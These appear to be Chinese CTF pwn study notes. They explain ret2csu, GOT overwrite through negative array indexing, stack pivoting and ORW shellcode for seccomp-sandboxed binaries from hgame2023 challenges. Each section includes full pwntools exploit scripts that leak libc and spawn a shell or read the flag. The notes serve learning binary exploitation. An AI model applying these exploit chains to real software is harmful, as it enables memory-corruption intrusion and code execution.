ret2csu
原理
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,分别是rdi、rsi、rdx、rcx、r8、r9,第7个以后的参数存放在栈中,gadget不够时可以使用__libc_csu_init 中的 gadgets
利用libc_csu_init中的两段代码片段来实现3个参数的传递
例题
level5
与ctfwiki上的例题有细微的差别,但解题思路是一样的
__libc_csu_init
.text:0000000000401190 ; void _libc_csu_init(void)
.text:0000000000401190 public __libc_csu_init
.text:0000000000401190 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000401190 ; __unwind {
.text:0000000000401190 push r15
.text:0000000000401192 mov r15, rdx
.text:0000000000401195 push r14
.text:0000000000401197 mov r14, rsi
.text:000000000040119A push r13
.text:000000000040119C mov r13d, edi
.text:000000000040119F push r12
.text:00000000004011A1 lea r12, __frame_dummy_init_array_entry
.text:00000000004011A8 push rbp
.text:00000000004011A9 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011B0 push rbx
.text:00000000004011B1 sub rbp, r12
.text:00000000004011B4 sub rsp, 8
.text:00000000004011B8 call _init_proc
.text:00000000004011BD sar rbp, 3
.text:00000000004011C1 jz short loc_4011DE
.text:00000000004011C3 xor ebx, ebx
.text:00000000004011C5 nop dword ptr [rax]
.text:00000000004011C8
.text:00000000004011C8 loc_4011C8: ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011C8 mov rdx, r15
.text:00000000004011CB mov rsi, r14
.text:00000000004011CE mov edi, r13d
.text:00000000004011D1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
.text:00000000004011D5 add rbx, 1
.text:00000000004011D9 cmp rbp, rbx
.text:00000000004011DC jnz short loc_4011C8
.text:00000000004011DE
.text:00000000004011DE loc_4011DE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011DE add rsp, 8
.text:00000000004011E2 pop rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn
.text:00000000004011EC ; } // starts at 401190
.text:00000000004011EC __libc_csu_init endp
对第一段gadget的分析
- 1.add不需要,所以不必使用
- 2.把值pop到rbx寄存器中
- 3.把值pop到r12寄存器中
- 4.把值pop到r13寄存器中
- 5.把值pop到r14寄存器中
- 6.把值pop到r15寄存器中
- 7.返回
##### 对第二段gadget的分析对第二段gadget的分析
- 1.把r15的值传给rdx
- 2.把r14的值传给rsi
- 3.把r13的低32位的值传给rdi
- 4.调用函数
- 5.rbx的值加1
- 6.比较rbp和rbx的值
- 7.不为0(不相等)跳转,0(相等)则不跳转
##### 总结一下 - 1.利用r13控制rdi
- 2.利用r14控制rsi
- 3.利用r15控制rdx
- 4.将rbx设置为0才不会产生偏移
- 5.利用call调用函数(call函数为跳转到某地址内所保存的地址,应该使用got表中的地址)
- 6.令rbp=rbx+1防止跳转
##### checksec
##### ida
exp
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level = 'debug')
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x00000000004011C8
csu_end_addr = 0x00000000004011E2
fakeebp = b'b' * 8
#def csu(0,1,call,rdi,rsi,rdx,last)
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = b'a' * (0x80) + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * (0x38)
payload += p64(last)
sh.send(payload)
#sleep(1)
sh.recvuntil(b'Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 1, write_got, 8, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil(b'Hello, World\n')
csu(0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')
sh.recvuntil(b'Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr)
sh.interactive()
覆写got表与数组越界
覆写got表原理
.got.plt 相当于.plt的GOT全局偏移表,你可以简单理解成,它存放的就是外部函数的入口地址。也就是说,如果我们将这个函数的地址改成另外一个函数的地址,当程序调用该函数时,实际上会调用到另外一个函数。
数组越界原理
数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段
hgame2023 week1 choose_the_seat
checksec
RELRO:Partial RELRO-->got表可修改
ida
运行程序
可以看到输入负数也可以,确定有数组越界
思路
- 可以看到.got.plt表离bss段的距离比较近,所以考虑用数组越界写来改变.got.plt表
- seat的地址为0x4040A0
- exit的.got.plt表的地址为0x404040
- exit在seat的低地址处,正好用负数来覆写
- 两者之差为96,96/16=6,所以用-6可以改变exit
- 把exit改成_start后可以实现程序的无限循环
- 同时我们可以知道exit与read地址相差16
- 在发送完-6时断一下,查看一下got表
- 成功改变,从这里也可以看出read函数的后三位为fc0,后三位是不会变的
- 所以写入\xc0不改变read的地址
- 然后就可以接收到read的真实地址
- one_gadget libc-2.31.so
- 收到后用one_gadget搜索一下可用的shell
- 然后写入-6把退出变成执行shell就行了
- 这个shell应该是要碰运气,那个可以用哪个
第一个shell不行
第二个可以
exp
from pwn import *
#from LibcSearcher import *
context(os="linux",arch="amd64",log_level='debug')
local=1
if local==1:
io=remote('week-1.hgame.lwsec.cn',32448)
else:
io=process("./pwn")
def duan():
gdb.attach(io)
pause()
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
start=elf.symbols["_start"]
print("start-->",start)
io.recvuntil(b'one.\n')
io.sendline(b'-6')
io.recvuntil(b"name\n")
io.send(p64(start))
#duan()
io.recvuntil(b'one.\n')
io.sendline(b'-7')
io.recvuntil(b"name\n")
io.send(b'\xc0')
read_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('read-->',hex(read_addr))
libc_base=read_addr-libc.symbols['read']
print('libc_base-->',hex(libc_base))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
shell=libc_base+one_gadget[1]
io.recvuntil(b'one.\n')
io.sendline(b'-6')
io.recvuntil(b"name\n")
io.send(p64(shell))
io.interactive()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
简单的栈迁移
栈迁移原理
参考链接PWN!栈迁移原理
将ebp转移到bss或data段,在bss段或data段构造gadget然后在这里执行
- leave相当于mov esp,ebp pop ebp;
ret相当于pop eip;
mov esp,ebp 让esp指向ebp的地址
pop ebp 把栈顶的值弹到ebp寄存器里,此时ebp就指向了fake ebp1
如果在fake ebp1处写入fake ebp2的地址,然后再来一步leave就可以让ebp指向fake ebp2
## 沙盒机制
就是限制系统调用,pwn题一般限制execve的系统调用
## 开启沙盒的两种方式
##### prctl函数调用int sub_1269() { __int16 v1; // [rsp+0h] [rbp-70h] BYREF __int16 *v2; // [rsp+8h] [rbp-68h] __int16 v3; // [rsp+10h] [rbp-60h] BYREF char v4; // [rsp+12h] [rbp-5Eh] char v5; // [rsp+13h] [rbp-5Dh] int v6; // [rsp+14h] [rbp-5Ch] __int16 v7; // [rsp+18h] [rbp-58h] char v8; // [rsp+1Ah] [rbp-56h] char v9; // [rsp+1Bh] [rbp-55h] int v10; // [rsp+1Ch] [rbp-54h] __int16 v11; // [rsp+20h] [rbp-50h] char v12; // [rsp+22h] [rbp-4Eh] char v13; // [rsp+23h] [rbp-4Dh] int v14; // [rsp+24h] [rbp-4Ch] __int16 v15; // [rsp+28h] [rbp-48h] char v16; // [rsp+2Ah] [rbp-46h] char v17; // [rsp+2Bh] [rbp-45h] int v18; // [rsp+2Ch] [rbp-44h] __int16 v19; // [rsp+30h] [rbp-40h] char v20; // [rsp+32h] [rbp-3Eh] char v21; // [rsp+33h] [rbp-3Dh] int v22; // [rsp+34h] [rbp-3Ch] __int16 v23; // [rsp+38h] [rbp-38h] char v24; // [rsp+3Ah] [rbp-36h] char v25; // [rsp+3Bh] [rbp-35h] int v26; // [rsp+3Ch] [rbp-34h] __int16 v27; // [rsp+40h] [rbp-30h] char v28; // [rsp+42h] [rbp-2Eh] char v29; // [rsp+43h] [rbp-2Dh] int v30; // [rsp+44h] [rbp-2Ch] __int16 v31; // [rsp+48h] [rbp-28h] char v32; // [rsp+4Ah] [rbp-26h] char v33; // [rsp+4Bh] [rbp-25h] int v34; // [rsp+4Ch] [rbp-24h] __int16 v35; // [rsp+50h] [rbp-20h] char v36; // [rsp+52h] [rbp-1Eh] char v37; // [rsp+53h] [rbp-1Dh] int v38; // [rsp+54h] [rbp-1Ch] __int16 v39; // [rsp+58h] [rbp-18h] char v40; // [rsp+5Ah] [rbp-16h] char v41; // [rsp+5Bh] [rbp-15h] int v42; // [rsp+5Ch] [rbp-14h] __int16 v43; // [rsp+60h] [rbp-10h] char v44; // [rsp+62h] [rbp-Eh] char v45; // [rsp+63h] [rbp-Dh] int v46; // [rsp+64h] [rbp-Ch] __int16 v47; // [rsp+68h] [rbp-8h] char v48; // [rsp+6Ah] [rbp-6h] char v49; // [rsp+6Bh] [rbp-5h] int v50; // [rsp+6Ch] [rbp-4h] prctl(38, 1LL, 0LL, 0LL, 0LL); v3 = 32; v4 = 0; v5 = 0; v6 = 4; v7 = 21; v8 = 0; v9 = 9; v10 = -1073741762; v11 = 32; v12 = 0; v13 = 0; v14 = 0; v15 = 53; v16 = 7; v17 = 0; v18 = 0x40000000; v19 = 21; v20 = 6; v21 = 0; v22 = 59; v23 = 21; v24 = 0; v25 = 4; v26 = 1; v27 = 32; v28 = 0; v29 = 0; v30 = 36; v31 = 21; v32 = 0; v33 = 2; v34 = 0; v35 = 32; v36 = 0; v37 = 0; v38 = 32; v39 = 21; v40 = 1; v41 = 0; v42 = 16; v43 = 6; v44 = 0; v45 = 0; v46 = 2147418112; v47 = 6; v48 = 0; v49 = 0; v50 = 0; v1 = 12; v2 = &v3; return prctl(22, 2LL, &v1); }
##### seccomp库函数
__int64 sandbox() { __int64 v1; // [rsp+8h] [rbp-8h] // 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U) // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式 v1 = seccomp_init(0LL); if ( !v1 ) { puts("seccomp error"); exit(0); } // seccomp_rule_add添加规则 // v1对应上面初始化的返回值 // 0x7fff0000即对应宏SCMP_ACT_ALLOW // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制 seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL); // seccomp_load - Load the current seccomp filter into the kernel if ( seccomp_load(v1) < 0 ) { // seccomp_release - Release the seccomp filter state // 但对已经load的过滤规则不影响 seccomp_release(v1); puts("seccomp error"); exit(0); } return seccomp_release(v1); }
##### seccomp-tools识别沙盒
seccomp-tools识别沙盒
#### hgame2023 week1 orw
##### checksec
ida
可以看文字提示有沙盒
或者点进去看看
int sandbox()
{
__int16 v1; // [rsp+0h] [rbp-40h] BYREF
__int16 *v2; // [rsp+8h] [rbp-38h]
__int16 v3; // [rsp+10h] [rbp-30h] BYREF
char v4; // [rsp+12h] [rbp-2Eh]
char v5; // [rsp+13h] [rbp-2Dh]
int v6; // [rsp+14h] [rbp-2Ch]
__int16 v7; // [rsp+18h] [rbp-28h]
char v8; // [rsp+1Ah] [rbp-26h]
char v9; // [rsp+1Bh] [rbp-25h]
int v10; // [rsp+1Ch] [rbp-24h]
__int16 v11; // [rsp+20h] [rbp-20h]
char v12; // [rsp+22h] [rbp-1Eh]
char v13; // [rsp+23h] [rbp-1Dh]
int v14; // [rsp+24h] [rbp-1Ch]
__int16 v15; // [rsp+28h] [rbp-18h]
char v16; // [rsp+2Ah] [rbp-16h]
char v17; // [rsp+2Bh] [rbp-15h]
int v18; // [rsp+2Ch] [rbp-14h]
__int16 v19; // [rsp+30h] [rbp-10h]
char v20; // [rsp+32h] [rbp-Eh]
char v21; // [rsp+33h] [rbp-Dh]
int v22; // [rsp+34h] [rbp-Ch]
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 21;
v8 = 2;
v9 = 0;
v10 = 59;
v11 = 21;
v12 = 1;
v13 = 0;
v14 = 322;
v15 = 6;
v16 = 0;
v17 = 0;
v18 = 2147418112;
v19 = 6;
v20 = 0;
v21 = 0;
v22 = 0;
v1 = 5;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
return prctl(22, 2LL, &v1);
}
seccomp-tools识别沙盒
可以看到限制了execve的系统调用
思路
- 限制execve的系统调用,所以使用open read write
- 又因为只溢出了0x30的字节,然后中间还有8字节的pre ebp
- 所以只有0x28的字节可以利用,空间太小没法open read write
- 所以使用栈迁移
##### 构造gadget - 这里用bss段构造,但是不能用bss段的起始位置,好像是因为把栈转移到这个地方后,会自动向下(低地址)处申请一块空间作为栈的部分,但bss段的低地址处的数据是很重要的,不能被改变,改变程序就会崩溃,所以此时用的地址一般是bss的起始位置加上一个比较大的数
- 所以buf=elf.bss()+0x150
- 这里是先构造了一段rop链(gets(buf))以便于在buf处写入东西
- 然后构造open read write
- open('buf+0x88',0)
- read(3,buf+0x90,0x100) 第一次打开文件用3
- puts(buf+0x90)
##### buf
经计算得到buf的地址为0x4041b0
从ida上看,这个地址已经超出了bss段的地址
但这一段依然可读可写可执行,所以应该是在data段
orw
payload=p64(pop_rdi)+p64(buf+0x88)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(buf+0x90)+p64(0)
payload+=p64(pop_rdx)+p64(0x100)+p64(read)
payload+=p64(pop_rdi)+p64(buf+0x90)+p64(puts_plt)+b'flag\x00aaa'
这里flag字符串是自己写入的,open读取这个位置的flag,然后read在下个地址把它读入,最后puts输出flag
栈迁移
- payload=cyclic(0x100)+p64(buf-0x8)+p64(leave_ret)
- 迁移到buf的上个低地址处
- leave_ret随便从一个函数后面找一个就行
exp
from pwn import *
context(os="linux",arch="amd64",log_level='debug')
elf=ELF("./stack_pivoting")
libc=ELF("./libc-2.31.so")
local=1
if local==1:
io=remote('week-1.hgame.lwsec.cn',30891)
else:
io=process("./stack_pivoting")
def duan():
gdb.attach(io)
pause()
pop_rdi=0x401393
pop_rsi_r15=0x401391
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start=elf.symbols['_start']
read=elf.plt['read']
payload=cyclic(0x100+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start)
io.sendafter(b'task.\n',payload)
puts_got=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base=puts_got-libc.symbols['puts']
print('libc_base-->'+hex(libc_base))
buf=elf.bss()+0x150
gets=libc_base+libc.symbols['gets']
payload=cyclic(0x100+0x8)+p64(pop_rdi)+p64(buf)+p64(gets)+p64(start)
io.sendafter(b'task.\n',payload)
open=libc_base+libc.symbols['open']
pop_rdx=libc_base+0x142c92
#open('buf+0x88',0)
#read(3,buf+0x90,0x100) 第一次打开文件用3
#puts(buf+0x90)
payload=p64(pop_rdi)+p64(buf+0x88)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(buf+0x90)+p64(0)
payload+=p64(pop_rdx)+p64(0x100)+p64(read)
payload+=p64(pop_rdi)+p64(buf+0x90)+p64(puts_plt)+b'flag\x00aaa'
io.sendline(payload)
leave_ret=0x4012e
payload=cyclic(0x100)+p64(buf-0x8)+p64(leave_ret)
io.sendafter(b'task.\n',payload)
io.recv()
'''
0x000000000040138c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040138e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401390 : pop r14 ; pop r15 ; ret
0x0000000000401392 : pop r15 ; ret
0x000000000040138b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040138f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x0000000000401393 : pop rdi ; ret
0x0000000000401391 : pop rsi ; pop r15 ; ret
0x000000000040138d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004012a8 : ret 0x2be
'''
orw和ret2shellcode
hgame week1 simple_shellcode
checksec
保护全开
ida
seccomp-tools识别沙盒
思路
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL)
这里的mmap应该是向0xCAFE0000LL申请了一段0x1000uLL的空间,7代表可读可写可执行
因为read只读入0x10个字节,空间太小
- 也可以看到后面调用了rdx,所以可以通过改变rdx再次调用read
- 然后就在原来read函数读入地址的后面去写入shellcode
- 64位下read的系统调用号是0
- read(0,0x0xCAFE0010+0xxxx,0x1000)
- rax=0,rdi=0,rsi=0x0xCAFE0010+0xxxx,rdx=0x1000
##### gdb
直接断在地址上
应该是出了什么错误
调试到call rdx的位置看看
AX 0x0
RBX 0x5555555553d0 (__libc_csu_init) ◂— endbr64
RCX 0x7ffff7ee1d3e (prctl+14) ◂— cmp rax, -0xfff
RDX 0xcafe0000 ◂— 0xa6e /* 'n\n' */
RDI 0x16
RSI 0x2
R8 0x0
R9 0x0
R10 0x7ffff7ee1d3e (prctl+14) ◂— cmp rax, -0xfff
R11 0x217
R12 0x555555555100 (_start) ◂— endbr64
R13 0x7fffffffe060 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdf70 ◂— 0x0
RSP 0x7fffffffdf60 —▸ 0x7fffffffe060 ◂— 0x1
RIP 0x5555555553b9 (main+131) ◂— call rdx
所以写一下汇编
- read(0,0x0xCAFE0010+0xxxx,0x1000)
- rax=0,rdi=0,rsi=0x0xCAFE0010+0xxxx,rdx=0x1000
- RAX 0x0
- RDI 0x16
- RSI 0x2
- RDX 0xcafe0000
shellcode=asm(''' mov rdi,rax; mov rsi,0xCAFE0010; syscall; nop; ''')
##### orw
##### expshellcode= asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')
shellcode= asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')